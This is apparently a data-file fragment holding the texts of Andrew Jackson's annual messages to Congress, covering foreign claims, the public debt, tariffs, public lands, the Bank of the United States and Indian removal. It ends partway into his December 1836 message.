Madrid of the duties on tonnage\nlevied on American shipping in the ports of Spain. The condition of\nthat reduction having been complied with on our part by the act passed\nJuly 13th, 1832, I have the satisfaction to inform you that our ships\nnow pay no higher nor other duties in the continental ports of Spain\nthan are levied on their national vessels.The demands against Portugal for illegal captures in the blockade of\nTerceira have been allowed to the full amount of the accounts presented\nby the claimants, and payment was promised to be made in three\ninstallments. The first of these has been paid; the second, although\ndue, had not at the date of our last advices been received, owing, it\nwas alleged, to embarrassments in the finances consequent on the civil\nwar in which that nation is engaged.The payments stipulated by the convention with Denmark have been\npunctually made, and the amount is ready for distribution among the\nclaimants as soon as the board, now sitting, shall have performed their\nfunctions.I regret that by the last advices from our charge d'affaires at Naples\nthat Government had still delayed the satisfaction due to our citizens,\nbut at that date the effect of the last instructions was not known.\nDispatches from thence are hourly expected, and the result will be\ncommunicated to you without delay.With the rest of Europe our relations, political and commercial, remain\nunchanged. Negotiations are going on to put on a permanent basis the\nliberal system of commerce now carried on between us and the Empire of\nRussia. The treaty concluded with Austria is executed by His Imperial\nMajesty with the most perfect good faith, and as we have no diplomatic\nagent at his Court he personally inquired into and corrected a\nproceeding of some of his subaltern officers to the injury of our\nconsul in one of his ports.Our treaty with the Sublime Porte is producing its expected effects on\nour commerce. New markets are opening for our commodities and a more\nextensive range for the employment of our ships. A slight augmentation\nof the duties on our commerce, inconsistent with the spirit of the\ntreaty, had been imposed, but on the representation of our charge\nd'affaires it has been promptly withdrawn, and we now enjoy the trade\nand navigation of the Black Sea and of all the ports belonging to the\nTurkish Empire and Asia on the most perfect equality with all foreign\nnations.I wish earnestly that in announcing to you the continuance of\nfriendship and the increase of a profitable commercial intercourse with\nMexico, with Central America, and the States of the South I could\naccompany it with the assurance that they all are blessed with that\ninternal tranquillity and foreign peace which their heroic devotion to\nthe cause of their independence merits. In Mexico a sanguinary struggle\nis now carried on, which has caused some embarrassment to our commerce,\nbut both parties profess the most friendly disposition toward us. To\nthe termination of this contest we look for the establishment of that\nsecure intercourse so necessary to nations whose territories are\ncontiguous. How important it will be to us we may calculate from the\nfact that even in this unfavorable state of things our maritime\ncommerce has increased, and an internal trade by caravans from St.\nLouis to Santa Fe, under the protection of escorts furnished by the\nGovernment, is carried on to great advantage and is daily increasing.\nThe agents provided for by the treaty, with this power to designate the\nboundaries which it established, have been named on our part, but one\nof the evils of the civil war now raging there has been that the\nappointment of those with whom they were to cooperate has not yet been\nannounced to us.The Government of Central America has expelled from its territory the\nparty which some time since disturbed its peace. Desirous of fostering\na favorable disposition toward us, which has on more than one occasion\nbeen evinced by this interesting country, I made a second attempt in\nthis year to establish a diplomatic intercourse with them; but the\ndeath of the distinguished citizen whom I had appointed for that\npurpose has retarded the execution of measures from which I hoped much\nadvantage to our commerce. The union of the three States which formed\nthe Republic of Colombia has been dissolved, but they all, it is\nbelieved, consider themselves as separately bound by the treaty which\nwas made in their federal capacity. The minister accredited to the\nfederation continues in that character near the Government of New\nGrenada, and hopes were entertained that a new union would be formed\nbetween the separate States, at least for the purposes of foreign\nintercourse. Our minister has been instructed to use his good offices,\nwhen ever they shall be desired, to produce the reunion so much to be\nwished for, the domestic tranquillity of the parties, and the security\nand facility of foreign commerce.Some agitations naturally attendant on an infant reign have prevailed\nin the Empire of Brazil, which have had the usual effect upon\ncommercial operations, and while they suspended the consideration of\nclaims created on similar occasions, they have given rise to new\ncomplaints on the part of our citizens. A proper consideration for\ncalamities and difficulties of this nature has made us less urgent and\nperemptory in our demands for justice than duty to our fellow citizens\nwould under other circumstances have required. But their claims are not\nneglected, and will on all proper occasions be urged, and it is hoped\nwith effect.I refrain from making any communication on the subject of our affairs\nwith Buenos Ayres, because the negotiation communicated to you in my\nlast annual message was at the date of our last advices still pending\nand in a state that would render a publication of the details\ninexpedient.A treaty of amity and commerce has been formed with the Republic of\nChili, which, if approved by the Senate, will be laid before you. That\nGovernment seems to be established, and at peace with its neighbors;\nand its ports being the resorts of our ships which are employed in the\nhighly important trade of the fisheries, this commercial convention can\nnot but be of great advantage to our fellow citizens engaged in that\nperilous but profitable business.Our commerce with the neighboring State of Peru, owing to the onerous\nduties levied on our principal articles of export, has been on the\ndecline, and all endeavors to procure an alteration have hitherto\nproved fruitless. With Bolivia we have yet no diplomatic intercourse,\nand the continual contests carried on between it and Peru have made me\ndefer until a more favorable period the appointment of any agent for\nthat purpose.An act of atrocious piracy having been committed on one of our trading\nships by the inhabitants of a settlement on the west coast of Sumatra,\na frigate was dispatched with orders to demand satisfaction for the\ninjury if those who committed it should be found to be members of a\nregular government, capable of maintaining the usual relations with\nforeign nations; but if, as it was supposed and as they proved to be,\nthey were a band of lawless pirates, to inflict such a chastisement as\nwould deter them and others from like aggressions. This last was done,\nand the effect has been an increased respect for our flag in those\ndistant seas and additional security for our commerce.In the view I have given of our connection with foreign powers\nallusions have been made to their domestic disturbances or foreign\nwars, to their revolutions or dissensions. It may be proper to observe\nthat this is done solely in cases where those events affect our\npolitical relations with them, or to show their operation on our\ncommerce. Further than this it is neither our policy nor our right to\ninterfere. Our best wishes on all occasions, our good offices when\nrequired, will be afforded to promote the domestic tranquillity and\nforeign peace of all nations with whom we have any intercourse. Any\nintervention in their affairs further than this, even by the expression\nof an official opinion, is contrary to our principles of international\npolicy, and will always be avoided.The report which the Secretary of the Treasury will in due time lay\nbefore you will exhibit the national finances in a highly prosperous\nstate. Owing to the continued success of our commercial enterprise,\nwhich has enabled the merchants to fulfill their engagements with the\nGovernment, the receipts from customs during the year will exceed the\nestimate presented at the last session, and with the other means of the\nTreasury will prove fully adequate not only to meet the increased\nexpenditures resulting from the large appropriations made by Congress,\nbut to provide for the payment of all the public debt which is at\npresent redeemable.It is now estimated that the customs will yield to the Treasury during\nthe present year upward of $28,000,000. The public lands, however, have\nproved less productive than was anticipated, and according to present\ninformation will not much exceed $2,000,000. The expenditures for all\nobjects other than the public debt are estimated to amount during the\nyear to about $16,500,000, while a still larger sum, viz, $18,000,000,\nwill have been applied to the principal and interest of the public\ndebt.  It is expected, however, that in consequence of the reduced\nrates of duty which will take effect after March 3d, 1833 there will be\na considerable falling off in the revenue from customs in the year\n1833. It will never the less be amply sufficient to provide for all the\nwants of the public service, estimated even upon a liberal scale, and\nfor the redemption and purchase of the remainder of the public debt. On\nJanuary 1st, 1833 the entire public debt of the United States, funded\nand unfunded, will be reduced to within a fraction of $7,000,000, of\nwhich $2,227,363 are not of right redeemable until January 1st, 1834\nand $4,735,296 not until January 2d, 1835. The commissioners of the\nsinking funds, however, being invested with full authority to purchase\nthe debt at the market price, and the means of the Treasury being\nample, it may be hoped that the whole will be extinguished within the\nyear 1833.I can not too cordially congratulate Congress and my fellow citizens on\nthe near approach of that memorable and happy event--the extinction of\nthe public debt of this great and free nation.Faithful to the wise and patriotic policy marked out by the legislation\nof the country for this object, the present Administration has devoted\nto it all the means which a flourishing commerce has supplied and a\nprudent economy preserved for the public Treasury. Within the four\nyears for which the people have confided the Executive power to my\ncharge $58,000,000 will have been applied to the payment of the public\ndebt. That this has been accomplished without stinting the expenditures\nfor all other proper objects will be seen by referring to the liberal\nprovision made during the same period for the support and increase of\nour means of maritime and military defense, for internal improvements\nof a national character, for the removal and preservation of the\nIndians, and, lastly, for the gallant veterans of the Revolution.The final removal of this great burthen from our resources affords the\nmeans of further provision for all the objects of general welfare and\npublic defense which the Constitution authorizes, and presents the\noccasion for such further reductions in the revenue as may not be\nrequired for them. From the report of the Secretary of the Treasury it\nwill be seen that after the present year such a reduction may be made\nto a considerable extent, and the subject is earnestly recommended to\nthe consideration of Congress in the hope that the combined wisdom of\nthe representatives of the people will devise such means of effecting\nthat salutary object as may remove those burthens which shall be found\nto fall unequally upon any and as may promote all the great interests\nof the community.Long and patient reflection has strengthened the opinions I have\nheretofore expressed to Congress on this subject, and I deem it my duty\non the present occasion again to urge them upon the attention of the\nLegislature. The soundest maxims of public policy and the principals\nupon which our republican institutions are founded recommend a proper\nadaptation of the revenue to the expenditure, and they also require\nthat the expenditure shall be limited to what, by an economical\nadministration, shall be consistent with the simplicity of the\nGovernment and necessary to an efficient public service.In effecting this adjustment it is due, in justice to the interests of\nthe different States, and even to the preservation of the Union itself,\nthat the protection afforded by existing laws to any branches of the\nnational industry should not exceed what may be necessary to counteract\nthe regulations of foreign nations and to secure a supply of those\narticles of manufacture essential to the national independence and\nsafety in time of war. If upon investigation it shall be found, as it\nis believed it will be, that the legislative protection granted to any\nparticular interest is greater than is indispensably requisite for\nthese objects, I recommend that it be gradually diminished, and that as\nfar as may be consistent with these objects the whole scheme of duties\nbe reduced to the revenue standard as soon as a just regard to the\nfaith of the Government and to the preservation of the large capital\ninvested in establishments of domestic industry will permit.That manufactures adequate to the supply of our domestic consumption\nwould in the abstract be beneficial to our country there is no reason\nto doubt, and to effect their establishment there is perhaps no\nAmerican citizen who would not for a while be willing to pay a higher\nprice for them. But for this purpose it is presumed that a tariff of\nhigh duties, designed for perpetual protection, which they maintain has\nthe effect to reduce the price by domestic competition below that of\nthe foreign article. Experience, however, our best guide on this as on\nother subjects, makes it doubtful whether the advantages of this system\nare not counter-balanced by many evils, and whether it does not tend to\nbeget in the minds of a large portion of our country-men a spirit of\ndiscontent and jealousy dangerous to the stability of the Union.What, then, shall be done? Large interests have grown up under the\nimplied pledge of our national legislation, which it would seem a\nviolation of public faith suddenly to abandon. Nothing could justify it\nbut the public safety, which is the supreme law. But those who have\nvested their capital in manufacturing establishments can not expect\nthat the people will continue permanently to pay high taxes for their\nbenefit, when the money is not required for any legitimate purpose in\nthe administration of the Government. Is it not enough that the high\nduties have been paid as long as the money arising from them could be\napplied to the common benefit in the extinguishment of the public debt?Those who take an enlarged view of the condition of our country must be\nsatisfied that the policy of protection must be ultimately limited to\nthose articles of domestic manufacture which are indispensable to our\nsafety in time of war. Within this scope, on a reasonable scale, it is\nrecommended by every consideration of patriotism and duty, which will\ndoubtless always secure to it a liberal and efficient support. But\nbeyond this object we have already seen the operation of the system\nproductive of discontent. In some sections of the Republic its\ninfluence is deprecated as tending to concentrate wealth into a few\nhands, and as creating those germs of dependence and vice which in\nother countries have characterized the existence of monopolies and\nproved so destructive of liberty and the general good. A large portion\nof the people in one section of the Republic declares it not only\ninexpedient on these grounds, but as disturbing the equal relations of\nproperty by legislation, and therefore unconstitutional and unjust.Doubtless these effects are in a great degree exaggerated, and may be\nascribed to a mistaken view of the considerations which led to the\nadoption of the tariff system; but they are never the less important in\nenabling us to review the subject with a more thorough knowledge of all\nits bearings upon the great interests of the Republic, and with a\ndetermination to dispose of it so that none can with justice complain.It is my painful duty to state that in one quarter of the United States\nopposition to the revenue laws has arisen to a height which threatens\nto thwart their execution, if not to endanger the integrity of the\nUnion. What ever obstructions may be thrown in the way of the judicial\nauthorities of the General Government, it is hoped they will be able\npeaceably to overcome them by the prudence of their own officers and\nthe patriotism of the people. But should this reasonable reliance on\nthe moderation and good sense of all portions of our fellow citizens be\ndisappointed, it is believed that the laws themselves are fully\nadequate to the suppression of such attempts as may be immediately\nmade. Should the exigency arise rendering the execution of the existing\nlaws impracticable from any cause what ever, prompt notice of it will\nbe given to Congress, with a suggestion of such views and measures as\nmay be deemed necessary to meet it.In conformity with principles heretofore explained, and with the hope\nof reducing the General Government to that simple machine which the\nConstitution created and of withdrawing from the States all other\ninfluence than that of its universal beneficence in preserving peace,\naffording an uniform currency, maintaining the inviolability of\ncontracts, diffusing intelligence, and discharging unfelt its other\nsuper-intending functions, I recommend that provision be made to\ndispose of all stocks now held by it in corporations, whether created\nby the General or State Governments, and placing the proceeds in the\nTreasury. As a source of profit these stocks are of little or no value;\nas a means of influence among the States they are adverse to the purity\nof our institutions. The whole principle on which they are based is\ndeemed by many unconstitutional, and to persist in the policy which\nthey indicate is considered wholly inexpedient.It is my duty to acquaint you with an arrangement made by the Bank of\nthe United States with a portion of the holders of the 3% stock, by\nwhich the Government will be deprived of the use of the public funds\nlonger than was anticipated. By this arrangement, which will be\nparticularly explained by the Secretary of the Treasury, a surrender of\nthe certificates of this stock may be postponed until October, 1833,\nand thus may be continued by the failure of the bank to perform its\nduties.Such measures as are within the reach of the Secretary of the Treasury\nhave been taken to enable him to judge whether the public deposits in\nthat institution may be regarded as entirely safe; but as his limited\npower may prove inadequate to this object, I recommend the subject to\nthe attention of Congress, under the firm belief that it is worthy of\ntheir serious investigation. An inquiry into the transactions of the\ninstitution, embracing the branches as well as the principal bank,\nseems called for by the credit which is given throughout the country to\nmany serious charges impeaching its character, and which if true may\njustly excite the apprehension that it is no longer a safe depository\nof the money of the people.Among the interests which merit the consideration of Congress after the\npayment of the public debt, one of the most important, in my view, is\nthat of the public lands. Previous to the formation of our present\nConstitution it was recommended by Congress that a portion of the waste\nlands owned by the States should be ceded to the United States for the\npurposes of general harmony and as a fund to meet the expenses of the\nwar. The recommendation was adopted, and at different periods of time\nthe States of Massachusetts, New York, Virginia, North and South\nCarolina, and Georgia granted their vacant soil for the uses for which\nthey had been asked. As the lands may now be considered as relieved\nfrom this pledge, it is in the discretion of Congress to dispose of\nthem in such way as best to conduce to the quiet, harmony, and general\ninterest of the American people. In examining this question all local\nand sectional feelings should be discarded and the whole United States\nregarded as one people, interested alike in the prosperity of their\ncommon country.It can not be doubted that the speedy settlement of these lands\nconstitutes the true interest of the Republic. The wealth and strength\nof a country are its population, and the best part of that population\nare cultivators of the soil. Independent farmers are every where the\nbasis of society and true friends of liberty.In addition to these considerations questions have already arisen, and\nmay be expected hereafter to grow out of the public lands, which\ninvolve the rights of the new States and the powers of the General\nGovernment, and unless a liberal policy be now adopted there is danger\nthat these questions may speedily assume an importance not now\ngenerally anticipated. The influence of a great sectional interest,\nwhen brought into full action, will be found more dangerous to the\nharmony and union of the States than any other cause of discontent, and\nit is the part of wisdom and sound policy to foresee its approaches and\nendeavor if possible to counteract them.Of the various schemes which have been hitherto proposed in regard to\nthe disposal of the public lands, none has yet received the entire\napprobation of the National Legislature. Deeply impressed with the\nimportance of a speedy and satisfactory arrangement of the subject, I\ndeem it my duty on this occasion to urge it upon your consideration,\nand to the propositions which have been heretofore suggested by others\nto contribute those reflections which have occurred to me, in the hope\nthat they may assist you in your future deliberations.It seems to me to be our policy that the public lands shall cease as\nsoon as practicable to be a source of revenue, and that they be sold to\nsettlers in limited parcels at a price barely sufficient to reimburse\nto the United States the expense of the present system and the cost\narising under our Indian compacts. The advantages of accurate surveys\nand undoubted titles now secured to purchasers seem to forbid the\nabolition of the present system, because none can be substituted which\nwill more perfectly accomplish these important ends. It is desirable,\nhowever, that in convenient time this machinery be withdrawn from the\nStates, and that the right of soil and the future disposition of it be\nsurrendered to the States respectively in which it lies.The adventurous and hardy population of the West, besides contributing\ntheir equal share of taxation under our impost system, have in the\nprogress of our Government, for the lands they occupy, paid into the\nTreasury a large proportion of $40,000,000, and of the revenue received\ntherefrom but a small part has been expended among them. When to the\ndisadvantage of their situation in this respect we add the\nconsideration that it is their labor alone which gives real value to\nthe lands, and that the proceeds arising from their sale are\ndistributed chiefly among States which had not originally any claim to\nthem, and which have enjoyed the undivided emolument arising from the\nsale of their own lands, it can not be expected that the new States\nwill remain longer contented with the present policy after the payment\nof the public debt. To avert the consequences which may be apprehended\nfrom this cause, to pub an end for ever to all partial and interested\nlegislation on the subject, and to afford to every American citizen of\nenterprise the opportunity of securing an independent freehold, it\nseems to me, therefore, best to abandon the idea of raising a future\nrevenue out of the public lands.In former messages I have expressed my conviction that the Constitution\ndoes not warrant the application of the funds of the General Government\nto objects of internal improvement which are not national in their\ncharacter, and, both as a means of doing justice to all interests and\nputting an end to a course of legislation calculated to destroy the\npurity of the Government, have urged the necessity of reducing the\nwhole subject to some fixed and certain rule. As there never will occur\na period, perhaps, more propitious than the present to the\naccomplishment of this object, I beg leave to press the subject again\nupon your attention.Without some general and well-defined principles ascertaining those\nobjects of internal improvement to which the means of the nation may be\nconstitutionally applied, it is obvious that the exercise of the power\ncan never be satisfactory. Besides the danger to which it exposes\nCongress of making hasty appropriations to works of the character of\nwhich they may be frequently ignorant, it promotes a mischievous and\ncorrupting influence upon elections by holding out to the people the\nfallacious hope that the success of a certain candidate will make\nnavigable their neighboring creek or river, bring commerce to their\ndoors, and increase the value of their property. It thus favors\ncombinations to squander the treasure of the country upon a multitude\nof local objects, as fatal to just legislation as to the purity of\npublic men.If a system compatible with the Constitution can not be devised which\nis free from such tendencies, we should recollect that that instrument\nprovides within itself the mode of its amendment, and that there is,\ntherefore, no excuse for the assumption of doubtful powers by the\nGeneral Government. If those which are clearly granted shall be found\nincompetent to the ends of its creation, it can at any time apply for\ntheir enlargement; and there is no probability that such an\napplication, if founded on the public interest, will ever be refused.\nIf the propriety of the proposed grant be not sufficiently apparent to\ncommand the assent of 3/4 of the States, the best possible reason why\nthe power should not be assumed on doubtful authority is afforded; for\nif more than one quarter of the States are unwilling to make the grant\nits exercise will be productive of discontents which will far\nover-balance any advantages that could be derived from it. All must\nadmit that there is nothing so worthy of the constant solicitude of\nthis Government as the harmony and union of the people.Being solemnly impressed with the conviction that the extension of the\npower to make internal improvements beyond the limit I have suggested,\neven if it be deemed constitutional, is subversive of the best\ninterests of our country, I earnestly recommend to Congress to refrain\nfrom its exercise in doubtful cases, except in relation to improvements\nalready begun, unless they shall first procure from the States such an\namendment of the Constitution as will define its character and\nprescribe its bounds. If the States feel themselves competent to these\nobjects, why should this Government wish to assume the power? If they\ndo not, then they will not hesitate to make the grant. Both Governments\nare the Governments of the people; improvements must be made with the\nmoney of the people, and if the money can be collected and applied by\nthose more simple and economical political machines, the State\ngovernments, it will unquestionably be safer and better for the people\nthan to add to the splendor, the patronage, and the power of the\nGeneral Government. But if the people of the several States think\notherwise they will amend the Constitution, and in their decision all\nought cheerfully to acquiesce.For a detailed and highly satisfactory view of the operations of the\nWar Department I refer you to the accompanying report of the Secretary\nof War.The hostile incursions of the Sac and Fox Indians necessarily led to\nthe interposition of the Government. A portion of the troops, under\nGenerals Scott and Atkinson, and of the militia of the State of\nIllinois were called into the field. After a harassing warfare,\nprolonged by the nature of the country and by the difficulty of\nprocuring subsistence, the Indians were entirely defeated, and the\ndisaffected band dispersed or destroyed. The result has been creditable\nto the troops engaged in the service. Severe as is the lesson to the\nIndians, it was rendered necessary by their unprovoked aggressions, and\nit is to be hoped that its impression will be permanent and salutary.This campaign has evinced the efficient organization of the Army and\nits capacity for prompt and active service. Its several departments\nhave performed their functions with energy and dispatch, and the\ngeneral movement was satisfactory.Our fellow citizens upon the frontiers were ready, as they always are,\nin the tender of their services in the hour of danger. But a more\nefficient organization of our militia system is essential to that\nsecurity which is one of the principal objects of all governments.\nNeither our situation nor our institutions require or permit the\nmaintenance of a large regular force. History offers too many lessons\nof the fatal result of such a measure not to warn us against its\nadoption here. The expense which attends it, the obvious tendency to\nemploy it because it exists and thus to engage in unnecessary wars, and\nits ultimate danger to public liberty will lead us, I trust, to place\nour principal dependence for protection upon the great body of the\ncitizens of the Republic. If in asserting rights or in repelling wrongs\nwar should come upon us, our regular force should be increased to an\nextent proportional to the emergency, and our present small Army is a\nnucleus around which such force could be formed and embodied. But for\nthe purposes of defense under ordinary circumstances we must rely upon\nthe electors of the country. Those by whom and for whom the Government\nwas instituted and is supported will constitute its protection in the\nhour of danger as they do its check in the hour of safety.But it is obvious that the militia system is imperfect. Much time is\nlost, much unnecessary expense incurred, and much public property\nwasted under the present arrangement. Little useful knowledge is gained\nby the musters and drills as now established, and the whole subject\nevidently requires a thorough examination. Whether a plan of\nclassification remedying these defects and providing for a system of\ninstruction might not be adopted is submitted to the consideration of\nCongress. The Constitution has vested in the General Government an\nindependent authority upon the subject of the militia which renders its\naction essential to the establishment or improvement of the system, and\nI recommend the matter to your consideration in the conviction that the\nstate of this important arm of the public defense requires your\nattention.I am happy to inform you that the wise and humane policy of\ntransferring from the eastern to the western side of the Mississippi\nthe remnants of our aboriginal tribes, with their own consent and upon\njust terms, has been steadily pursued, and is approaching, I trust, its\nconsummation. By reference to the report of the Secretary of War and to\nthe documents submitted with it you will see the progress which has\nbeen made since your last session in the arrangement of the various\nmatters connected with our Indian relations. With one exception every\nsubject involving any question of conflicting jurisdiction or of\npeculiar difficulty has been happily disposed of, and the conviction\nevidently gains ground among the Indians that their removal to the\ncountry assigned by the United States for their permanent residence\nfurnishes the only hope of their ultimate prosperity.With that portion of the Cherokees, however, living within the State of\nGeorgia it has been found impracticable as yet to make a satisfactory\nadjustment. Such was my anxiety to remove all the grounds of complaint\nand to bring to a termination the difficulties in which they are\ninvolved that I directed the very liberal propositions to be made to\nthem which accompany the documents herewith submitted. They can not but\nhave seen in these offers the evidence of the strongest disposition on\nthe part of the Government to deal justly and liberally with them. An\nample indemnity was offered for their present possessions, a liberal\nprovision for their future support and improvement, and full security\nfor their private and political rights. What ever difference of opinion\nmay have prevailed respecting the just claims of these people, there\nwill probably be none respecting the liberality of the propositions,\nand very little respecting the expediency of their immediate\nacceptance. They were, however, rejected, and thus the position of\nthese Indians remains unchanged, as do the views communicated in my\nmessage to the Senate of February 22d, 1831.I refer you to the annual report of the Secretary of the Navy, which\naccompanies this message, for a detail of the operations of that branch\nof the service during the present year.Besides the general remarks on some of the transactions of our Navy\npresented in the view which has been taken of our foreign relations, I\nseize this occasion to invite to your notice the increased protection\nwhich it has afforded to our commerce and citizens on distant seas\nwithout any augmentation of the force in commission. In the gradual\nimprovement of its pecuniary concerns, in the constant progress in the\ncollection of materials suitable for use during future emergencies, and\nin the construction of vessels and the buildings necessary to their\npreservation and repair, the present state of this branch of the\nservice exhibits the fruits of that vigilance and care which are so\nindispensable to its efficiency. Various new suggestions, contained in\nthe annexed report, as well as others heretofore to Congress, are\nworthy of your attention, but none more so than that urging the renewal\nfor another term of six years of the general appropriation for the\ngradual improvement of the Navy.From the accompanying report of the Post Master General you will also\nperceive that that Department continues to extend its usefulness\nwithout impairing its resources or lessening the accommodations which\nit affords in the secure and rapid transportation of the mail.I beg leave to call the attention of Congress to the views heretofore\nexpressed in relation to the mode of choosing the President and Vice-\nPresident of the United States, and to those respecting the tenure of\noffice generally. Still impressed with the justness of those views and\nwith the belief that the modifications suggested on those subjects if\nadopted will contribute to the prosperity and harmony of the country, I\nearnestly recommend them to your consideration at this time.I have heretofore pointed out defects in the law for punishing official\nfrauds, especially within the District of Columbia. It has been found\nalmost impossible to bring notorious culprits to punishment, and,\naccording to a decision of the court for this District, a prosecution\nis barred by a lapse of two years after the fraud has been committed.\nIt may happen again, as it has already happened, that during the whole\ntwo years all the evidences of the fraud may be in the possession of\nthe culprit himself. However proper the limitation may be in relation\nto private citizens, it would seem that it ought not to commence\nrunning in favor of public officers until they go out of office.The judiciary system of the United States remains imperfect. Of the 9\nWestern and South Western States, three only enjoy the benefits of a\ncircuit court. Ohio, Kentucky, and Tennessee are embraced in the\ngeneral system, but Indiana, Illinois, Missouri, Alabama, Mississippi,\nand Louisiana have only district courts. If the existing system be a\ngood one, why should it not be extended? If it be a bad one, why is it\nsuffered to exist? The new States were promised equal rights and\nprivileges when they came into the Union, and such are the guaranties\nof the Constitution. Nothing can be more obvious than the obligation of\nthe General Government to place all the States on the same footing in\nrelation to the administration of justice, and I trust this duty will\nbe neglected no longer.On many of the subjects to which your attention is invited in this\ncommunication it is a source of gratification to reflect that the steps\nto be now adopted are uninfluenced by the embarrassments entailed upon\nthe country by the wars through which it has passed. In regard to most\nof our great interests we may consider ourselves as just starting in\nour career, and after a salutary experience about to fix upon a\npermanent basis the policy best calculated to promote the happiness of\nthe people and facilitate their progress toward the most complete\nenjoyment of civil liberty. On an occasion so interesting and important\nin our history, and of such anxious concern to the friends of freedom\nthroughout the world, it is our imperious duty to lay aside all selfish\nand local considerations and be guided by a lofty spirit of devotion to\nthe great principles on which our institutions are founded.That this Government may be so administered as to preserve its\nefficiency in promoting and securing these general objects should be\nthe only aim of our ambition, and we can not, therefore, too carefully\nexamine its structure, in order that we may not mistake its powers or\nassume those which the people have reserved to themselves or have\npreferred to assign to other agents. We should bear constantly in mind\nthe fact that the considerations which induced the framers of the\nConstitution to withhold from the General Government the power to\nregulate the great mass of the business and concerns of the people have\nbeen fully justified by experience, and that it can not now be doubted\nthat the genius of all our institutions prescribes simplicity and\neconomy as the characteristics of the reform which is yet to be\neffected in the present and future execution of the functions bestowed\nupon us by the Constitution.Limited to a general superintending power to maintain peace at home and\nabroad, and to prescribe laws on a few subjects of general interest not\ncalculated to restrict human liberty, but to enforce human rights, this\nGovernment will find its strength and its glory in the faithful\ndischarge of these plain and simple duties. Relieved by its protecting\nshield from the fear of war and the apprehension of oppression, the\nfree enterprise of our citizens, aided by the State sovereignties, will\nwork out improvements and ameliorations which can not fail to\ndemonstrate that the great truth that the people can govern themselves\nis not only realized in our example, but that it is done by a machinery\nin government so simple and economical as scarcely to be felt. That the\nAlmighty Ruler of the Universe may so direct our deliberations and\nover-rule our acts as to make us instrumental in securing a result so\ndear to mankind is my most earnest and sincere prayer.", 
+    "name": "Andrew Jackson"
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+    "date": "December 5, 1836", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:Addressing to you the last annual message I shall ever present to the\nCongress of the United States, it is a source of the most heartfelt\nsatisfaction to be able to congratulate you on the high state of\nprosperity which our beloved country has attained. With no causes at\nhome or abroad to lessen the confidence with which we look to the\nfuture for continuing proofs of the capacity of our free institutions\nto produce all the fruits of good government, the general condition of\nour affairs may well excite our national pride.I can not avoid congratulating you, and my country particularly, on the\nsuccess of the efforts made during my Administration by the Executive\nand Legislature, in conformity with the sincere, constant, and earnest\ndesire of the people, to maintain peace and establish cordial relations\nwith all foreign powers. Our gratitude is due to the Supreme Ruler of\nthe Universe, and I invite you to unite with me in offering to Him\nfervent supplications that His providential care may ever be extended\nto those who follow us, enabling them to avoid the dangers and the\nhorrors of war consistently with a just and indispensable regard to the\nrights and honor of our country. But although the present state of our\nforeign affairs, standing, without important change, as they did when\nyou separated in July last, is flattering in the extreme, I regret to\nsay that many questions of an interesting character, at issue with\nother powers, are yet unadjusted. Amongst the most prominent of these\nis that of our north east boundary. With an undiminished confidence in\nthe sincere desire of His Britannic Majesty's Government to adjust that\nquestion, I am not yet in possession of the precise grounds upon which\nit proposes a satisfactory adjustment.With France our diplomatic relations have been resumed, and under\ncircumstances which attest the disposition of both Governments to\npreserve a mutually beneficial intercourse and foster those amicable\nfeelings which are so strongly required by the true interests of the\ntwo countries. With Russia, Austria, Prussia, Naples, Sweden, and\nDenmark the best understanding exists, and our commercial intercourse\nis gradually expanding itself with them. It is encouraged in all these\ncountries, except Naples, by their mutually advantageous and liberal\ntreaty stipulations with us.The claims of our citizens on Portugal are admitted to be just, but\nprovision for the payment of them has been unfortunately delayed by\nfrequent political changes in that Kingdom.The blessings of peace have not been secured by Spain. Our connections\nwith that country are on the best footing, with the exception of the\nburdens still imposed upon our commerce with her possessions out of\nEurope.The claims of American citizens for losses sustained at the bombardment\nof Antwerp have been presented to the Governments of Holland and\nBelgium, and will be pressed, in due season, to settlement.With Brazil and all our neighbors of this continent we continue to\nmaintain relations of amity and concord, extending our commerce with\nthem as far as the resources of the people and the policy of their\nGovernments will permit. The just and long-standing claims of our\ncitizens upon some of them are yet sources of dissatisfaction and\ncomplaint. No danger is apprehended, however, that they will not be\npeacefully, although tardily, acknowledged and paid by all, unless the\nirritating effect of her struggle with Texas should unfortunately make\nour immediate neighbor, Mexico, an exception.It is already known to you, by the correspondence between the two\nGovernments communicated at your last session, that our conduct in\nrelation to that struggle is regulated by the same principles that\ngoverned us in the dispute between Spain and Mexico herself, and I\ntrust that it will be found on the most severe scrutiny that our acts\nhave strictly corresponded with our professions. That the inhabitants\nof the United States should feel strong prepossessions for the one\nparty is not surprising. But this circumstance should of itself teach\nus great caution, lest it lead us into the great error of suffering\npublic policy to be regulated by partially or prejudice; and there are\nconsiderations connected with the possible result of this contest\nbetween the two parties of so much delicacy and importance to the\nUnited States that our character requires that we should neither\nanticipate events nor attempt to control them.The known desire of the Texans to become a part of our system, although\nits gratification depends upon the reconcilement of various and\nconflicting interests, necessarily a work of time and uncertain in\nitself, is calculated to expose our conduct to misconstruction in the\neyes of the world. There are already those who, indifferent to\nprinciple themselves and prone to suspect the want of it in others,\ncharge us with ambitious designs and insidious policy.You will perceive by the accompanying documents that the extraordinary\nmission from Mexico has been terminated on the sole ground that the\nobligations of this Government to itself and to Mexico, under treaty\nstipulations, have compelled me to trust a discretionary authority to a\nhigh officer of our Army to advance into territory claimed as part of\nTexas if necessary to protect our own or the neighboring frontier from\nIndian depredation. In the opinion of the Mexican functionary who has\njust left us, the honor of his country will be wounded by American\nsoldiers entering, with the most amicable avowed purposes, upon ground\nfrom which the followers of his Government have been expelled, and over\nwhich there is at present no certainty of a serious effort on its part\nto re-establish its dominion. The departure of this minister was the\nmore singular as he was apprised that the sufficiency of the causes\nassigned for the advance of our troops by the commanding general had\nbeen seriously doubted by me, and there was every reason to suppose\nthat the troops of the United States, their commander having had time\nto ascertain the truth or falsehood of the information upon which they\nhad been marched to Nacogdoches, would be either there in perfect\naccordance with the principles admitted to be just in his conference\nwith the Secretary of State by the Mexican minister himself, or were\nalready withdrawn in consequence of the impressive warnings their\ncommanding officer had received from the Department of War. It is hoped\nand believed that his Government will take a more dispassionate and\njust view of this subject, and not be disposed to construe a measure of\njustifiable precaution, made necessary by its known inability in\nexecution of the stipulations of our treaty to act upon the frontier,\ninto an encroachment upon its rights or a stain upon its honor.In the mean time the ancient complaints of injustice made on behalf of\nour citizens are disregarded, and new causes of dissatisfaction have\narisen, some of them of a character requiring prompt remonstrance and\nample and immediate redress. I trust, however, by tempering firmness\nwith courtesy and acting with great forbearance upon every incident\nthat has occurred or that may happen, to do and to obtain justice, and\nthus avoid the necessity of again bringing this subject to the view of\nCongress.It is my duty to remind you that no provision has been made to 